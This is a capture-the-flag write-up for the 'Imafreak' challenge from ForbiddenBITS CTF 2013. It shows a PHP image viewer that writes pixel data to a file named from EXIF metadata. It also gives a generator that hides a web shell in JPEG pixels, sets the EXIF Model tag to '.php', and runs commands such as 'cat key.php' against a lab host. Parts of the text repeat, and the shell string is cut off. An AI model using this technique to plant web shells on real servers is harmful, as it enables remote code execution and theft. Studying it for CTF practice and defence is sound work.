Imafreak
In order to practice for wargame, I choose this problem from ForbiddenBITS CTF 2013 and reconstruct this environment. Also some environments are different, the solution are identical.
Problem Description
In this problem, the website is provided. There are two pages in this website, an view.php and upload.php.
Take a briefly view of upload.php, this page contains a form to upload image file. With no any parameters, view.php only show "wrong id" string. There is also a hint "Hint6[Freak]:~)".
Solution
Firstly, Following the hint, we can access view.php~ and view the cource code. Source code can be found here.
The following piece code is vulnerable.
We start from file extension, the file extension comes from read_exif_data(). Function read_exif_data() return EXIF headers from a JPEG file, which is used to maintain some metadata of digital camera.Since EXIF data can be modified, we can modify it and control file extension by exiv2.
File content can be construct by some image library such as python's PIL and php's Image Processing and Generation. Here we following the program in this write up as following.
Then we send the request to generated php program as follow.
The following piece code is vulnerable.
$_GET['id']=str_replace(".","",$_GET['id']);
$_GET['id']=str_replace("/","",$_GET['id']);
$_GET['id']=str_replace("\\","",$_GET['id']);
if(!empty($_GET['id']) && @file_exists('upload/'.$_GET['id'].'.jpg')){
$img=file_get_contents('upload/'.$_GET['id'].'.jpg');
$notFound="";
$exif_ifd0 = read_exif_data('upload/'.$_GET['id'].'.jpg','IFD0' ,0);
if (@array_key_exists('Model', $exif_ifd0)) {
$camModel = $exif_ifd0['Model'];
} else { $camModel = $notFound; }
$imgx = 'upload/'.$_GET['id'].'.jpg';
$imgHand = ImageCreateFromJPEG($imgx);
$imgSize = GetImageSize($imgx);
$imgWidth = $imgSize[0];
$imgHeight = $imgSize[1];
$dd="";
for ($l = 0; $l < $imgHeight; $l++) {
for ($c = 0; $c < $imgWidth; $c++) {
$pxlCor = ImageColorAt($imgHand,$c,$l);
$pxlCorArr = ImageColorsForIndex($imgHand, $pxlCor);
$dd.=chr($pxlCorArr["red"]);
}
}
$filex="secretstoreddata/"."secret".($camModel);
$fp=fopen($filex, 'w');
fwrite($fp, $dd);
fclose($fp);
}
Therefore we can observe that this php read the image in upload directory and save the red part into secretstoreddata directory. If we can control the content and file extension, then we can inject some code and execute arbitrary code.We start from file extension, the file extension comes from read_exif_data(). Function read_exif_data() return EXIF headers from a JPEG file, which is used to maintain some metadata of digital camera.Since EXIF data can be modified, we can modify it and control file extension by exiv2.
File content can be construct by some image library such as python's PIL and php's Image Processing and Generation. Here we following the program in this write up as following.
';
$width = strlen($shell);
// create image using true color
$img = imagecreatetruecolor($width, 1);
for ($x = 0; $x < $width; $x++) {
// get ascii value of shellcode
$value = ord($shell[$x]);
// set a pixel using the ascii
$color = imagecolorexact($img, $value, $value, $value);
imagesetpixel($img, $x, 0, $color);
}
// save image using 100% quality
imagejpeg($img, 'imafreak.jpg', 100);
// add Model metadata using exiv2 tool
system('src/exiv2 -M "add Exif.Image.Model .php" imafreak.jpg');
?>
After executing this php program, the jpeg file will be generated. Then we access tohttp://140.113.216.151:10180/Imafreak/view.php?id=imafreak
Then we send the request to generated php program as follow.
http://140.113.216.151:10180/Imafreak/secretstoreddata/ea5d2f1c4608232e07d3aa3d998e5135.php?c=lsWe can find that there is key.php file in secretstoreddata dir. So we continue to read this file and finally get the key.
http://140.113.216.151:10180/Imafreak/secretstoreddata/ea5d2f1c4608232e07d3aa3d998e5135.php?c=cat%20key.php
note
In July 16 2013, a technique blog talk about a malware which emplaoy similar technique.
http://blog.sucuri.net/2013/07/malware-hidden-inside-jpg-exif-headers.html
http://blog.sucuri.net/2013/07/malware-hidden-inside-jpg-exif-headers.html
